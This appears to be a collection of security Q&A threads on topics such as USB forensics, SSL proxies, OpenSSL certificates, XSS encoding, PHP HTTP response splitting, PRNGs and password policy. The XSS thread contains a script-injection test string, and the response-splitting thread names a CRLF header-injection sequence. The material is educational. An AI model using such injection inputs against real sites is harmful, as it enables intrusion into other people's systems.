Mac OSX: What is the safest way to access an unknown USB storage? Let's say a friend gives me a SD-card which I'm not sure is safe (i.e. it may contain malware), what is the safest way to access this card on a Mac OSX? E.g. is it possible to create a sandbox in Finder?

I know some of you may say, "Just don't access it." But assume this is a scenario where I have to access it.

So you've got yourself a hot agent and want to examine it? This is going to be fun!

First, do not simply plug it in and look around. Even if you were to create a 'sandbox' finder, that would not protect you from potential malware. So how do you actually see the goods? Well you need to perform a forensic examination! Here's what you'll need:

A Virtual Machine is crucial so you do not infect your machine. Make sure you configure it so that the VM does not have network access.
A forensic imager. I use helix or autopsy suite. FTK imager works well if you have a windows VM.
A Write Blocker to protect the integrity of the usb device being examined. This means preventing all writes to the target usb. This keeps a pristine record of the target but also prevents some types of malware from altering themselves on the target usb. Personally I say to use a hardware write blocker because they are more reliable (just go to amazon and find one).

Configure your VM with preferably a linux distro (like helix). Now, you simply attach the write blocker to your pc and set that up. Open your imager program and finally plug in your hot usb stick.

You now take a forensic image of this drive - either directly into RAM (if you have the capacity) or onto another (non-OS) drive. It may take a while depending on how large target is. Once you have the image, you can look through it in any number of ways using that same imager program (FTK makes it super simple).

The whole concept is called incident response and SANS has many good documents on what to do. Here is one. Also, I used this book to learn a lot about forensics. I know a guy taking his CISSP and he also just finished it so it is still relevant.

Good luck and have fun!

In response to your comment, malware can indeed spread without you knowing it once you connect an infected device. The best way to protect against that is to run the examination in a VM with a different OS than the target. The different OS helps in disallowing the malware to run and the VM acts as damage control should the malware break out and run anyway.

The most common and easiest way malware can spread like this would be the 'autoplay' feature but if you actually consider what is happening behind that feature you can see that there are certain things from that external media being loaded into RAM and written to your pc's harddrive (in the form of metadata/logs/etc). All* an attacker has to do is leverage that threat vector. * this is no small feat however :)

It's not all gloom and doom though. All you have to do is toss up a properly configured VM and you've essentially stopped 99.99% of that particular threat.


Why I get "Invalid certificate" error when I use school network? Why I get "Invalid certificate" error when I use school network? This error usually appears on sites about programming, Linux and about security, privacy or anonymity.

Sometimes I receive error "Connection refused" when I try access to these websites. Am I victim of Man-In-The-Middle attack?

You are not victim of an attack, it's because your school employs a SSL Proxy.

In this kind of proxy, every connection (even SSL) is terminated at the proxy, inspected for malware, and if all is fine, re-encrypted with its own certificate and sent to your computer. Usually, the proxy have a certificate authority installed and can create certificates for every single site you access, and this authority is configured as trusted on all computers of the organization.

In your school, they didn't added the certification authority certificate as trusted on the computer you are using.


SSL session protocol vs SSL connection protocol Slide 8, SSL Session Protocol:

Slide 10, SSL connection protocol:

Firstly, in Session Protocol, there is a {S}_B, what is the function of this {S}_B? Does't it help in proving Alice's identity? Is it okay to remove this one?
Secondly, there is no Cert_B in SSL connection. Why is it okay to remove Cert_B in the protocol? Cause Cert_B helps in proving the identity of Bobo's identity, without Cert_B, how can Alice know she is really talking to Bob?
Thirdly,  why should we use SSL connection protocol considering we already have SSL session protocol?

For third query,
Since ssl session establishment use lengthy cryptography keys, so its consume more resources. Once session established one should use lighter process. So using Connection and Session logic, https become better in performance.


Is it the public key or the key pair that is included in the x509 certificate? I use these commands to create a self-signed certificate, subject's key and CSR, and subject's signed certificate:
Root CA:
openssl req -new -sha256 -x509 -days 7300 -out ca.crt -keyout ca.key.pem -nodes

Server CSR:
openssl req -new -sha256 -out server.csr -keyout server.key.pem  -nodes

Sign with CA:
openssl ca -cert ca.crt -days 3650 -md sha256 -in server.csr -out server.crt

The CA signs the CSR with its private key, does this mean that the root certificate (ca.crt) contains the private key?

The private key is never included in the certificate, certificates are publicly available.
The CA key is specified either through a flag or through the config file. When none is specified, the default config file is used (depends on how openssl was built) which points to $dir/private/cakey.pem for the private key (at least mine does, mileage may vary).
To properly use openssl you should really have a config file specifying the desired values. See this StackOverflow question for a lot more details. Or if you don't want to deal with the madness and giant pile of cruft that is openssl, use a more modern tool such as cfssl.


Malware / vulnerability that uses or causes malformed IP or TCP Headers I'm curious if there are any examples of malformed IP or TCP headers (for example, checksums that don't match, reserved bits that aren't zero, or poor header length numbers) used by malware, or that are used in exploits.

Examples that (if they were true) would be worth mentioning:

The TCP stack of X vendor doesn't handle a header length of < 5 correctly, and crashes when it encounters it.
A botnet that uses the reserved bits of the TCP header it sends out to send messages around.

There have been vulnerabilities in hosts with imperfect TCP implementations where malformed requests could cause a crash. I don't know that I've seen anything infect a machine and then choose to break TCP by toying with the headers. Here's an example of a bad-header-caused crash bug:

http://blog.jeremyrossi.com/juniper-flaw-exposes-core-routers-to-kernel-crash.html

Using the reserved bits (6 bits in IPv4) in the header would be very inefficient and it's not something I've ever seen in the wild. It's plausible but generally speaking I wouldn't expect to see it since it's something very unusual and would be easy to identify and filter. I looked around online and could not find anything solid identifying this behavior in use today.

There's a SANS paper on using parts of the TCP packet for covert data passage that covers some of this topic pretty well:  https://www.sans.org/reading-room/whitepapers/covert/covert-data-storage-channel-ip-packet-headers-2093


Why does OpenID Connect use id token as a querystring parameter on logout? OpenID Connect, in the implicit flow, returns the id token as a #fragment on the return URI specifically so that the id token doesn't get logged in web server logs.
However, the OpenID Connect logout specifies a querystring parameter id_token_hint which would be the id token of the user who is being logged out.
http://openid.net/specs/openid-connect-session-1_0.html#RPLogout

RP-Initiated Logout
An RP can notify the OP that the End-User has logged out of the site, and might want to log out of the OP as well. In this case, the RP, after having logged the End-User out of the RP, redirects the End-User's User Agent to the OP's logout endpoint URL. This URL is normally obtained via the end_session_endpoint element of the OP's Discovery response, or may be learned via other mechanisms.
This specification also defines the following parameters that are passed as query parameters in the logout request:
id_token_hint
RECOMMENDED. Previously issued ID Token passed to the logout endpoint as a hint about the End-User's current authenticated session with the Client. This is used as an indication of the identity of the End-User that the RP is requesting be logged out by the OP. The OP need not be listed as an audience of the ID Token when it is used as an id_token_hint value.
post_logout_redirect_uri
OPTIONAL. URL to which the RP is requesting that the End-User's User Agent be redirected after a logout has been performed. The value MUST have been previously registered with the OP, either using the post_logout_redirect_uris Registration parameter or via another mechanism. If supplied, the OP SHOULD honor this request following the logout.
state
OPTIONAL. Opaque value used by the RP to maintain state between the logout request and the callback to the endpoint specified by the post_logout_redirect_uri query parameter. If included in the logout request, the OP passes this value back to the RP using the state query parameter when redirecting the User Agent back to the RP.
At the logout endpoint, the OP SHOULD ask the End-User whether he wants to log out of the OP as well. If the End-User says "yes", then the OP MUST log out the End-User.

On one hand I can understand why it is desirable to only allow an authenticated user to log themselves out, to prevent certain denial of service attacks. On the other hand though, this process will leave id_tokens scattered through the logs of any server which logs querystring parameters.
Can anyone shed any light on why this is considered to be a good idea?
Thanks

Fragment encoding does indeed help with the web server logs scenarios, but I wouldn't go so far as saying that it's specifically used because of that.

Nonetheless, you pose an interesting question about including the ID token credentials in a GET request. I think a few things may allow this to be acceptable:

If the client is using the implicit flow, the specification also mandates the use of a nonce and additionally mentions that it should be used to prevent replay attacks. If this is the case, leaking the token after it's already been used should not lead to a significant problem as that token would not be accepted again by the client in order to start a new session.

  The value of the nonce Claim MUST be checked to verify that it is the same value as the one that was sent in the Authentication Request. The Client SHOULD check the nonce value for replay attacks. The precise method for detecting replay attacks is Client specific.

It's highly likely that the token itself might already be expired when the logout actually happens so reusing it on the client would not be possible. (the authorization server uses it only for context so it does not strictly requires a valid token)

Overall, I think you'll have secure implementations for which passing the token in that request will cause no additional harm and then have other implementations where it may prove to be a significant threat.

However, this trait does not apply only to that specific part of the specification, it's a general thing... authentication and authorization are complex subjects where small details make a big impact and where the landscape is always changing. That's why it's so dangerous to roll your own authentication systems.


How to use attack trees and attack graphs I am trying to understand how attack trees\graphs can be used in the security process. I read a lot of papers presenting the topic and how this reppresentation can be useful, but I really don't understand in which ways.

For example in here there is an example that uses the CVE to collect vulnerabilities. But what if my system is up to date and no CVE vulnerabilities are found?

However what I understand from here is that you have to think about all the way an attacker can compromise your network (not to a specific vulnerabilities in the CVE) and then you have to:

consider if its worth to take countermeasures
verify if attacks are feasible...which leads to penetration testing.

What do you think about that?

Yup, you've got the idea.  Your last paragraph beginning "However what I understand..." captures the idea well.  That's about right.

Attack trees are one possible tool that to assist with what is sometimes known as "architectural risk analysis" (Microsoft calls this "threat modelling"; two names, same idea).  The idea of architectural risk analysis is to identify potential security risks in a software system, based upon the design and architectural features of the system.  This can be helpful to identify security risks, brainstorm defenses and mitigations, or pinpoint areas of the code that should be examined more closely for vulnerabilities.  Attacks trees can be helpful to systematize the process of thinking through the space of possible attacks that someone might try against your system.

There is no way to automatically generate attack trees for a complex system.  Attack trees do not eliminate the need for domain knowledge about the system and about computer security.  You still have to understand the system, understand the kind of attacks you might face, and think through the potential risks.

The biggest limitation of attack trees is that they can be enormous.  Building a complete attack tree is very labor-intensive, and it seems unlikely in most situations that this effort is the best possible use of an expert's time.  This is probably why attack trees aren't very widely used.  Most work on architectural risk analysis and threat modelling tries to provide ways to identify the highest-risk possible attacks.  See, e.g., STRIDE and other techniques to try to focus in quickly on the most significant risk factors.

Anyway, I think you've understood the basic gist of it.  What precisely is your question?


Giving different passwords to the app servers to access the same database. Pros and Cons? Let's say we have

one db server.
three app servers with full database access.

Which scenario is the best?

Each app server connects to that one database with different passwords.

Example: app srv 1 uses : "$PSD$Passwrod3" and app srv 2 uses "sometH$ing else13pass" and so on.

Every app server connects to that one database server with the same db password.

Technically, even if the servers have three different passwords, if one is hacked, the hacker will have full access to the database. So, we can use one password to make things easy for developers.

Is there any counter explanation that would justify using three different db passwords to "increase security"?

EDIT: app servers hold the same app

A scenario with three different applications

If you have three different applications in most cases they should not all have full access to the database in the first place, just the data each needs. If they all need the same data, that is already a setup that reeks of misusing the database as a synchronization mechanism. If that's the database's main purpose, okay, but in most cases this scenario has its own problems and indicates a design issue. But let's assume that's a given for some reason.

You still should use different access credentials (username and password) and here is why:

At some point one app might actually start having data only it cares about and only it should access, then the initial assumption breaks and you should set up separate passwords anyway. But now you are already in production with a heavy user load and risk doing some small typo mistake that affects live users. You want to avoid that, so do it right initially
If someone breaks in and compromises your app such that your database gets accessed, you want to pinpoint that breach. If you know the credentials that where used you can identify the application. That cuts out 2/3 of your search space already with a very simple and cheap preparation step.
If one of your applications' security is broken and you need to change the credentials, you want to minimize the impact. If they all have the same credentials they all need to get an update of their credentials. Immediately. Now you have three apps that you need to hotfix at the same time and you risk doing a minor spelling mistake and giving your users some issues instead of just one.
2) also holds for other problems, like an app generating awesomely slow queries that drag down the database, knowing wich app did it is essential, so you want separate credentials (at least separate user id, but then you can also use a separate password).
If someone breaks in and compromises your app, you will likely need to shutdown that access immediately. That means all three of your apps stop working because they cannot access your database anymore instead of just one. If one of the other apps is so important you don't want to shut down the database access immediately, that means you give your attacker a larger window of opportunity to misbehave.

A scenario with the same application on three different servers

This is indeed a relatively common scenario, so the preamble of the other scenario (that three apps accessing the same db with the same rights is a design smell) does not apply!

Using different credentials here indeed does mostly not add security but adds maintenance cost. With rare exceptions (see below).

In this case most of the issues pointed out above vanish or are diminished to the point where the convenience in maintenance of using the same credentials on all servers typically trumps the gained security. One point that still remains though is compartmentalisation for high availabilty. This would mainly apply if the three servers are reachable in different ways, such that it is likely that one is broken into without the others being compromised. Say one covers Asia, one Europe and one America, they are hosted in different places and perhaps even the OS version is different. In such a case, if one host is compromised, you could shutdown that host's access without affecting the others. If they serve the same API/region the same might apply in principle, i.e. if one is compromised you could first exchange that hosts credentials while the others could still service requests. However, typically all hosts would share the same tech stack and environment in that setting - and thus in most cases where the security of one is broken the security of all is broken and maybe just not yet exploited. So this will only apply in rare cases. If you need to ask about it, it likely isn't the case for your application setup.


How to explain importance of security & privacy to a layman? Often I come across people who don't understand the importance of security or privacy. They are careless and many times they will quote some nonsense, like: 'I have nothing to hide...' etc.

What is the best approach of explaining to them, why is important to protect yourself in virtual world?

I've checked one document; 'How to raise information security awareness', but it was too specific, something where I didn't found enough information for what I'm asking right here.

I think it is nice to use analogies to make concepts clearer in layman's terms.

Information security is a technically complex topic and it is largely invisible. You can see a door lock, and see a burglar, and see and understand the loss of your TV, but one cannot see or understand what it means for a database of password hashes to be accessed by an unauthorised person.

I found my greatest successes by communicating the end risks simply ("your email account is a doorway into your bank account") and tying the risks to something the person cares about.

The key here is not just "you have to understand the importance", but understanding exactly how it is important to them. An academic approach is doomed to failure for most people.

So, the analogies you use have to be tied to your audience.

I once taught security awareness to the claims department call center of a large insurance firm. The people were not insurance professionals, but just average people taking calls all day from people who have just had an accident or some other form of major or minor personal disaster.

It was difficult to "get them to care" until I made a single simple statement: "you deal with people on what might be the worst day of their year or even their life - don't make it worse by exposing their personal details to hackers or inadvertently infecting them with a virus." THAT was something they cared about, and suddenly they were interested to know what they could do to not make someone's bad day worse.

So, you have to understand that you can comprehend this stuff at a level that others simply won't be able to. Your job is to empathise with your audience and make it "real" for them where they are.


what is the cons and pros of using webfiltering based on cloud security? nowadays some vendors offering web filtering based on cloud security , where your web traffic will be forwarded to vendor cloud to be filtered and controlled at the vendor proxy , the vendor will provide you with management interface to define your own we browsing policy, comparing to having your own web proxy with web filtering capabilities , what is the cons and the pros of this solution ?

Pros:

Possibly reduced cost. You won't be maintaining your own
infrastructure.
Cloud solutions typically allow you to force company assets (like laptops for example) to      be routed through the cloud proxy for URL filtering even when off network. (increased security)

Cons:

Could increase latency. This may or may not be applicable based on your location.
Less control over the infrastructure. With an internal solution you can disperse proxies over different locations and chain them together for increase response times.


Mobile Broadband, e-Fraud & Anonymity Against My Website I was wanting to know if the blend in the title of this post provides e-criminals an open field to explore.

What I mean is this: say a fraudster goes and buys a pay-as-go SIM card from a certain Mobile Broadband Network, and tops it up with $10; pays for it with cash - or even, pays someone to go the shop and buy the aforementioned SIM card (in case the fraudster is very paranoid).

He then transfers this $10 voice credit to an add-on of, say, 1GB internet and uses this SIM on his dongle, attached to a laptop with a fully encrypted HDD. Now he is ready to start doing bad things against my website: this hacker is aware of Geolocation, so he will only perform his attacks from crowded areas where lots of people are likely to be using their laptops (in case the Law Enforcement will track the geolocation and timestamp and look for security cameras' footage to find someone using a laptop at the time of the attacks).

Because this is not like in films, he will not be chased while he is on the act of hacking the bits out of my website, so being caught on the act isn't really an issue for him.

Conclusion:

He finishes his dirty business for the day and keeps doing this for months being always careful and paranoid.

Questions:

1-In the eventuality he becomes somehow a suspect, what is the likelihood of being convicted should the Law Enforcement get hold of his encrypted laptop?
2-Finally, what are his mistakes that we can pick upon in order to convict him. The other side of the coin is: how can he not be caught by us?

Conviction depends a lot on the legal system; things are really different depending on whether he is caught by legal forces in Sweden, Belarus, Canada or Ouzbekistan, who have somewhat distinct notions of rights of the accused. Hard disk encryption is here a gimmick to try to evade incrimination, but it won't work by itself, because many countries have laws which will force you to reveal decryption keys (or they will just break your thumbs, depending on the country). What your hacker would need is plausible deniability. TrueCrypt attempts at supporting that, but, to my knowledge, this has never been tested in court.

Tracking is another matter. For the serious cases (e.g. wide terrorist actions), police forces throughout the World will collaborate to tap wires, invest caches, follow people in the street, bribe, interrogate and shovel; and they will usually find out perpetrators because human beings are full of chemical activity and leave traces everywhere. Historically, people who could evade coordinate police action for long periods are people who benefited from at least tacit collaboration of lots of people.

Your attacker may want to stick to "crowded places" but analysis of security cameras will show who was in that area; over time, correlation will pinpoint the specific individual.

Of course, no such wide-scale operation will occur for something as trivial as hacking a Web site. Let's face it: you are not worthy of the full power of police forces. They may still be interested in your story because attackers often have other activities; someone who hacks Web sites repeatedly may also be involved in a quantity of other illegal activities, and will probably be in touch with other people so inclined.

(The implicit message I want to make here is that while hacking occurs in computers, humans are involved, and that happens in the physical world, subject to possible investigation methods which have been honed by policemen for the last two centuries, since the term "policeman" was invented, actually.)


Is there a need to have XSS filters when I'm saving data as XML? My web-app takes some configs from the user and saves into an XML file (it was not done to stop XSS). The input is XML encoded so that the ",& ... and such characters don't break the XML structure.

So is there a need to have another layer of XSS filter or will this way of saving the data automatically stops XSS attacks.

I'm aware of the fact that this attack depends on lots and lots of other factors such as rendering the webpage but lets confine the discussion to the following code snippet, however since the way I'm going to print the data very from time to time you are free to modify
echo "
 Hello ".$name."
" to show me any wrong ways of printing data.

$data = $_POST['malicious_user_supplied_data'];
$xml_encoded_data = xml_encode($data);
write_to_xml_as($xml_encoded_data,"config.xml");

------ config.xml --------
<user>
   <name>&lt;script&gt;alert(&quot;BigBang&quot;)&lt;/script&gt;</name>
</user>
--------------------------

$name = get_name("config.xml") // would return &lt;script&gt;alert(&quot;BigBang&quot;)&lt;/script&gt;

echo "
 Hello ".$name."
" // which on the browser would print &lt;script&gt;alert(&quot;BigBang&quot;)&lt;/script&gt;

Please show me some working examples where the above XML filter can be broken, if there are any.

I'd rather use JSON instead of XML. It is easier to understand how the parser works and so the security risks are much lower. For example you have to turn off loading external entities with libxml_disable_entity_loader(true) if you don't want an XXE attack, and so on.

The other part of the question is the generation of HTML, SVG etc. in the browser. For example with innerHTML = "..." it is easy to inject javascript. With data tags it is possible to inject javascript into firefox, so filtering only script tags is not enough... You have to use always DOM functions like createTextNode() instead of innerHTML. You don't need a server side storage to inject javascript. Displaying cookie or query parameters using javascript is more than enough. On server side you have to use DOM functions either, I am uncertain how secure they really are, but they are much better than concatenating strings... Ofc. you have to filter against HTML elements, etc... But if you need a rich text editor then you have a big problem...

I think one layer of security is never enough, and in this case it is certainly not enough. This is because HTML parsers are very complex piece of technology, and most developer (including me) only understands the basics of them. What you really need in this case are some security headers, like Content-Security-Policy. So the injected script won't be able to communicate with the attacker domain. (Ofc. this does not work in old browsers like ie6.)


HTTP Response Splitting and PHP There are numerous references to HTTP Response Splitting (HRS) vulnerabilities with PHP having been resolved since 4.4.2 and 5.1.2 (E.g. https://en.wikipedia.org/wiki/HTTP_response_splitting), or for around 9 years.

And yet CVE-2013-2652 reported a vulnerability in WebCollab using PHP, even though the proof-of-concept (http://archives.neohapsis.com/archives/bugtraq/2013-10/0117.html) specified a PHP version of 5.4.7.  The problem identification uses "%0d%0a" in its problem statement.

I have experimented with PHP myself and it does indeed avoid allowing insertion of the 2-byte hex sequence 0x0d0x0a, but it does not prevent insertion of the %-encoded equivalent 6-character sequence %0d%0a.

On the surface at least, this seems to be a bit of a contradiction.  I.e. that either 1) PHP is not as HRS-safe as suggested since it allows the 6-character sequence "%0d%0a" to be inserted into a header or 2) the stated vulnerability in CVE-2013-2652 (that "%0d%0a" was allowed to be written by a PHP application) was at least significantly overstated.

Which of those is true?  (Or is it something else entirely?)

(Notes:  a) I fully understand that it's better to validate or sanitize user-supplied data regardless of what other protections are in place. b) The WebCollab fix was quite straightforward and does just that:  validate the user-supplied input for allowed characters.  I'm more interested here in the robustness of PHP's HRS-safety, and the nature of any danger, if it exists.)

@tim is right. The exploit uses the sequence %0D%0A%20 which is URL-decoded to CR + LF + SPACE and thanks to the extra space could bypass the response splitting protection in some browsers.

There was once a feature called line folding that allowed HTTP headers to span over multiple lines by prepending every additional line with a space or tab. It was later dropped in RFC 7230, though. So it happened that Internet Explorer treated header continuations with leading spaces as if they were multiple individual headers while PHP did not yet implement the RFC, leaving IE vulnerable to the space trick. This issue was addressed in February 2015 (bug #68978) and finally implemented in PHP 5.4.38, so version 5.4.7 was still affected back then.

From the changelog for 5.4.38:

  Removed support for multi-line headers, as they are deprecated by RFC 7230.

You can see in the corresponding commit that header() now completely rejects any carriage returns and line feeds, regardless of their position. In conclusion, response splitting exploits via this particular method should today be obsolete.


Do fTPM implementations protect against physical attacks? I see that there is an increasing number of PCs shipped with firmware based TPM (fTPM), e.g. the Intel NUC.

As far as I understand, these solutions practically emulate a TPM chip using the CPUs special instructions (ARM TrustZone or Intel SGX). This makes fTPM a cheaper and more simple solution, since there is no need for another chip in the system.

However, discrete TPM chips have some degree of protection against physical attacks, but I don't see how is this possible with current fTPM implementations.

For example in this paper on the subject, the authors explicitly state, that this form of attack was not considered:

  [...] However,
  we do not defend against power analysis or other sidechannel
  attacks that require physical access to hardware
  or hardware modifications.

That paper also lists a number of shortcomings for an Intel SGX based approach.
Are these limitations addressed by later development? Platform Trust Technology (PTT), maybe?

Or am I missing something, and the private keys generated by the fTPM cannot be read even with physical access?

Every software implementation is weaker than the hardware one. If a real chip for tpm is done to be resistant to even physical tampering, the CPU is a general purpose chip and can be easily traced


Does hashing a PRNG make it cryptographically secure? Would hashing the result of a regular random number generator produce a cryptographically secure PRNG?

For example, would sha1(rand()) effectively be a secure PRNG?

Assuming it doesn't, how would you go about attacking it?

Edit:  Lets assume that by attack I mean determine the next value it will generate after seeing a series of values it has produced.

Note:  I should note that I'm not choosing to implement a PRNG in this way. I'm really interested in analysing the properties of this because I have seen similar constructs in code. It doesn't look like a good idea to me, but I'm struggling to think of the best way to attack it.

Hashing the output of a RNG is typically a component of making a cryptographically secure RNG, but it's not magic. It can't make a crappy RNG suddenly secure.

A key component in a cryptographically secure RNG is absolute unpredictability. If you can predict the output, then you can use that prediction as part of your attack. Running the output through a hash doesn't change the predictability.

Say, for example, that my super awesome random number generator alternates between returning the number 4 and 7. You can argue that my RNG is horrible, and you'd be right. But let's say that you now run the output through SHA1. So it alternates between returning SHA1(4) and SHA1(7). Still not random. So the answer is NO.

But hashes are useful for crypto RNGs

On the other hand, lets say you have a true source of entropy (e.g. a geiger counter pointed at a block of plutonium) which generates provably random but in our case biased results. Due to our sampling apparatus, the output stream is 57% 1's and 43% 0's. It's random in that you absolutely cannot predict the results, but if you guess "1", you'll be right more often.

We can neutralize this bias by running the output through a cryptographic hash. One of the properties of a cryptographic hash is that the output is NOT inherently biased, no matter what the input is. Obviously we have to collect sample blocks of input long enough to prevent ever hashing the same value twice. But the final output will have an approximately equal number of 1's and 0's, which makes our crypto more secure.


How can a user detect when a web server is phishing his credentials? These days so many websites/apps (including StackExchange) allow logging in using your Facebook, GoogleId, or LinkedIn credentials.  Whatever method you choose, you are presented a box to enter your credentials for that method.  I think it is possible for a malicious web site/app to make a fake credential form which resembles say Google login, and phish your credentials.

Are there any safeguards to stop this from happening?

I protect myself from look-alike phishing sites by using the Lastpass  browser extension to store my passwords. Lastpass will by default only enter credentials on the correct domain, and it is much simpler for a computer to parse the domain than a human. If you are about to enter credentials into the incorrect domain, Lastpass provides a warning:

Lastpass has many other security features as well, such as enforcing unique passwords for all websites.


API request modification I am building an API that returns data about companies
Multiple applications will access the API, some of these applications will have access to one company, some to multiple companies.
When a request is recieved for data, an ApplicationApiKey is also sent. I check if the ApiKey has access to the company data.
THis works great for the applications that are allowed access to one company, however an ApplicationApiKey may have access to multiple companies.

A user from Company1 could log in to the application and send a request to https://myapi.com/ticketrequest?timestamp=20140808&ticket=123.
The user could update to ticket parameter to a different number. This could be the ticket number of a different company that the Application is authorized to access but the logged in user is not.
How do I stop  users modifying this url to a ticket number of a different company?

These are my thoughts so far:

It is enough having my API accessible via SSL only
Ask the application developer to encrypt the parameters.
https://myapi.com/ticketrequest?re1=ABNFOPO6KJGFD8JGFADIP, This seems feasible for GET requests but what about POSTs.
Not my problem, its up to the app developer (until something happens when it will be)
My whole process is wrong, it should be one APIKey per company (but this is not possible as applications may add and remove users from different companies)

Thanks for any replies

Your problem is a problem of authorization.

SSL has nothing to do with your problem. While you must use SSL to protect your data from leaking and tampering, it will not help in any way to solve your authorization problems.
Encrypting the parameters is insufficient. It will keep the common user from tampering with the parameters, but it will not stop any sophisticated attacker from reverse engineering your client application and extracting the encryption key - hence gaining the ability to tamper the params even if encrypted.

IMHO your whole concept of authorizing an application is wrong. If you really care about data breach between companies you should implement authorization in the user level. Each user of the application should authenticate himself and you should have some mechanism of authorizing user's to access company data.


How to contact Microsoft regarding security flaw? Here I see:

If you believe you have found a security vulnerability that meets Microsoft's definition of a security vulnerability, please submit the report to MSRC at https://msrc.microsoft.com/create-report

Also here:

We want to know about a security vulnerability as soon as you’ve found it.

But..
When signing into the create-report page (via google auth or MS account), it signs in as expected but signs out ~5 seconds later (using Chrome, also in Chrome incognito, and safari on macOS Catalina).
After signing out, it redirects to https://msrc.microsoft.com/create-report:

I have called MS's tech support number (the call center did not come across as knowledgable about cyber security), and emailed bounty@microsoft.com, but have not received a reply.
How can one submit a bug report on a security vulnerability - is there a direct phone number for MS Cyber Security?
UPDATE
I received a reply

Thank you for contacting the Microsoft Security Response Center (MSRC). Secure@microsoft.com is the proper e-mail address to report security vulnerabilities to.   In order to investigate your report I will need a valid proof of concept (POC) ideally with images or video, the detailed steps to reproduce the problem, and how an attacker could use it to exploit another user.  Please also note that all bounty/acknowledgement decisions are made at a point past when an issue is cased and cannot be addressed here.

And

This thread is being closed and no longer monitored. When ready, submit a new report at . (sic)

I presume microsoft intended to include a link to the https://msrc.microsoft.com/create-report, although it's not clear as they appear to have made a typo.
In any case, it appears contacting Secure@microsoft.com is one method microsoft recommend.

According to https://hackerone.com/bing

If you have found a security vulnerability in any of Microsoft’s
online services, please send e-mail to secure@microsoft.com. We will
respond to your submission within 24 hours and start working right
away to remediate the vulnerability. To help our engineers identify
the potential vulnerability, please include as much information in
your report as possible. For example, include the following:

Proof-of-concept and/or URL demonstrating the vulnerability
Type of issue (cross-site scripting, buffer overflow, SQL injection, etc.)
Any special configuration required to reproduce the issue
Impact of the issue, including how an attacker could exploit the issue

To encrypt your message to our PGP key, please go to the Microsoft
Security Response Center PGP Key and S/MIME Certificate page for
further information.
Please note that the Microsoft Security Response Center does not
provide technical support for Microsoft products. If you need
assistance with something other than reporting a possible security
vulnerability, please see the statement below that most closely
matches your situation and expand the statement for next steps.


Learning to script tools in Python and general Pen Testing I want to learn Pen Testing and already know Java and have been learning Python and am fairly comfortable with Python syntax. I also have some knowledge on Linux and TCP/IP.
My questions are:

How can I learn to script tools in Python for Pen Testing as I have no idea where to begin, at present I have only used it to solve Top Coder problems for practice?
What can I learn in Java which I can apply towards Pen Testing?
What resources can I use to help me as an aspiring Pen Tester?

I don't want to be someone who uses someone else's tools and doesn't understand anything. I want to gain a firm foundation in Pen Testing especially the programming aspect.

These books can be a good starting point:

Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers

Gray Hat Python: Python Programming for Hackers and Reverse Engineers


Linux /etc/shadow password change security I wonder what happens what happens when I am changing my password on a Linux system. Basically all passwords are stored in a file called /etc/shadow or /etc/master.passwd in BSD-like systems as I do remember. Both of them are owned by root/wheel with 600 permissions.

So when I change my password using passwd command in terminal it should somehow access this file with root permissions. Then read and write to it.

I am interested in how does it get the root permissions and which process (or processes) are responsible for password change.

Basically it's using the suid bit. If you check the passwd command in your machine:

-rwsr-xr-x  1 root   root         43K Feb 15  2011 passwd

SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. Normally in Linux/Unix when a program runs, it inherits access permissions from the logged in user. SUID is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it. In simple words users will get file owner’s permissions as well as owner UID and GID when executing a binary. So the binary is actually being run as root when you run it.


Resolving an IP address of a Remote machine to its MAC address I wanted to know whether its possible to get the MAC address of remote node (computer/Access Point) if I know its IP address.

I have heard that if someone sends you an email (even through gmail), you can find out the IP address (using the email headers), get the MAC address, and find out the exact physical location of the email sender by querying their ISP and using that MAC address. Can anyone shed light on this?

Information sent in headers through the GMail web interface:

Received: by 10.0.22.202 with SMTP id o10mr1683492bkb.70.1307695606700; Fri,
 10 Jun 2011 01:46:46 -0700 (PDT)
Received: by 10.0.57.83 with HTTP; Fri, 10 Jun 2011 01:46:46 -0700 (PDT)
X-Originating-IP: [121.121.121.121]

However, using a software client, my email headers say this:

Received: from [192.168.17.21] (myhost.myisp.com [121.121.121.121])
    by mx.google.com with ESMTPS id ex2sm1432764wbb.65.2011.06.10.01.32.47
    (version=TLSv1/SSLv3 cipher=OTHER);
    Fri, 10 Jun 2011 01:32:48 -0700 (PDT)

So yes, your email headers may contain the IP Address of the location from which you connected.

Can you deduce a hardware MAC address from this? Not unless you're on the same subnet and can send ARP requests or have some other local access. That's how internet routing works - even Google's SMTP server won't have had that information. If you do have local access to a network, using email to get that information is probably excessive anyway; you could find it simply by listening on the wire or OTA.


Saved passwords (use case) I have a program in which a user enters a password, and the user data is stored encrypted using AES-128. The data and passwords must be stored together.
Both the data and the password are encrypted with a random key that is unrelated to the user's password. The user password is hashed using jasypt.org.(StrongPasswordEncryptor).

How should the random password be encrypted?
Is this a potential security vulnerability?
Is there anything in what I have described that is incorrect or needs improvement?

The random password is called a key, it's encrypted (IIRC) with the same AES algorithm as you specified to encrypt the file with. In this case it's AES-128 with your personal password.
Not really, it's actually better, because when you destroy the header containing the key, then no-one would be able to crack the encrypted file/volume, even if they have your password. It's also easier to change the password. If you would use your password to encrypt the file and you  would change it, then you would first need to decrypt the volume and re-encrypt it with the new password. Whereas when using a key, you just need to decrypt and re-encrypt the key.
It's better if you call the random password 'key'.


How can I enforce strong password policy with non-technical user base? I've been using zxcvbn to enforce strong passwords for a service where break-ins would cause considerable problems. However, the service is only viable if many users sign up. We've found that users are inclined to walk away in frustration when zxcvbn rejects password after password (based on both website metrics and in-person events). We started with zxcvbn's strength at 4 and have since reduced it to 2, but the problem persists.

It's become painfully clear that your average Jane is used to creating bad passwords and has no interest in being retrained. We don't have the budget to take on responsibility for that kind of social change, and the powers that be are pushing hard to go back to something like "8 characters, at least one number, etc." It's understandable from the business perspective - we spend more time coaching users through the password creation process than we do talking about our service.

So, what's the next best way to enforce a password policy that doesn't leave us with a slew of easily hacked user accounts while at the same time not alienating a non-technical user base?

Edit: Logins happen though web interface as well as others such as IMAP which makes anything other than password-only logins unlikely to be viable.

Do you have the option of adding 2-Factor authentication to your site? Here's the first article that came up when I googled "using google authenticator on your site".

If this is a corporate network and your users are your employees, then you have the option of using physical tokens like smartcards plugged into their desktops, or grid cards.

